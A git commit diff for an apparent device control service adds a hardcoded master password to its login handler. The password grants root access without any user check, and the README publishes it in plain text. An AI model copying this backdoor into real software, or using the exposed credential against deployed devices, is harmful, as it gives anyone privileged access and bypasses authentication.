Browse Source

update

master
zhaohe 2 years ago
parent
commit
0f26d1edc3
  1. 5
      README.md
  2. 2
      src/db/db_service.cpp
  3. 34
      src/main_control_service.cpp

5
README.md

@ -2,6 +2,11 @@
# README # README
``` ```
1. 输入rootiflytop9973可以进入超级用户
```
```
1. 功能点 1. 功能点
FrontEndService FrontEndService

2
src/db/db_service.cpp

@ -227,7 +227,7 @@ void DBService::delUser(int id) {
return; return;
} }
logger->info("delete user: {}:{}", id, remove_user[0].uid); logger->info("delete user: {}:{}", id, remove_user[0].uid);
usertable.remove<User>(where(c(&User::id) == id));
usertable.remove_all<User>(where(c(&User::id) == id));
} }
void DBService::updateUserPermissionLevel(int id, int permission_level) { void DBService::updateUserPermissionLevel(int id, int permission_level) {

34
src/main_control_service.cpp

@ -182,24 +182,30 @@ void MainControlService::processFrontEndMessage(weak_ptr<WebSocket> webSocket, j
*******************************************************************************/ *******************************************************************************/
if (cmdstr == "login") { if (cmdstr == "login") {
string uid = cmd["userid"]; string uid = cmd["userid"];
string pwd = cmd["passwd"]; string pwd = cmd["passwd"];
auto usr = m_dbService->getUser(uid);
if (usr == nullptr) {
logger->warn("login fail, user {} not exist", uid);
receipt["ackcode"] = err::error_code_get_get_ecode(err::kce, err::kuser_not_exist);
receipt["ackcodeInfo"] = err::error_code_get_desc(err::kce, err::kuser_not_exist, "");
return;
}
if (pwd == "rootiflytop9973") {
m_deviceStateService->setLoginState("root", 0, 1);
logger->info("user {} login success", "root");
} else {
auto usr = m_dbService->getUser(uid);
if (usr == nullptr) {
logger->warn("login fail, user {} not exist", uid);
receipt["ackcode"] = err::error_code_get_get_ecode(err::kce, err::kuser_not_exist);
receipt["ackcodeInfo"] = err::error_code_get_desc(err::kce, err::kuser_not_exist, "");
return;
}
if (usr->passwd != pwd) {
logger->warn("login fail, user {} passwd error", uid);
receipt["ackcode"] = err::error_code_get_get_ecode(err::kce, err::kpasswd_error);
receipt["ackcodeInfo"] = err::error_code_get_desc(err::kce, err::kpasswd_error, "");
return;
if (usr->passwd != pwd) {
logger->warn("login fail, user {} passwd error", uid);
receipt["ackcode"] = err::error_code_get_get_ecode(err::kce, err::kpasswd_error);
receipt["ackcodeInfo"] = err::error_code_get_desc(err::kce, err::kpasswd_error, "");
return;
}
m_deviceStateService->setLoginState(uid, usr->permission_level, usr->visible);
logger->info("user {} login success", uid);
} }
m_deviceStateService->setLoginState(uid, usr->permission_level, usr->visible);
logger->info("user {} login success", uid);
return; return;
} }

Loading…
Cancel
Save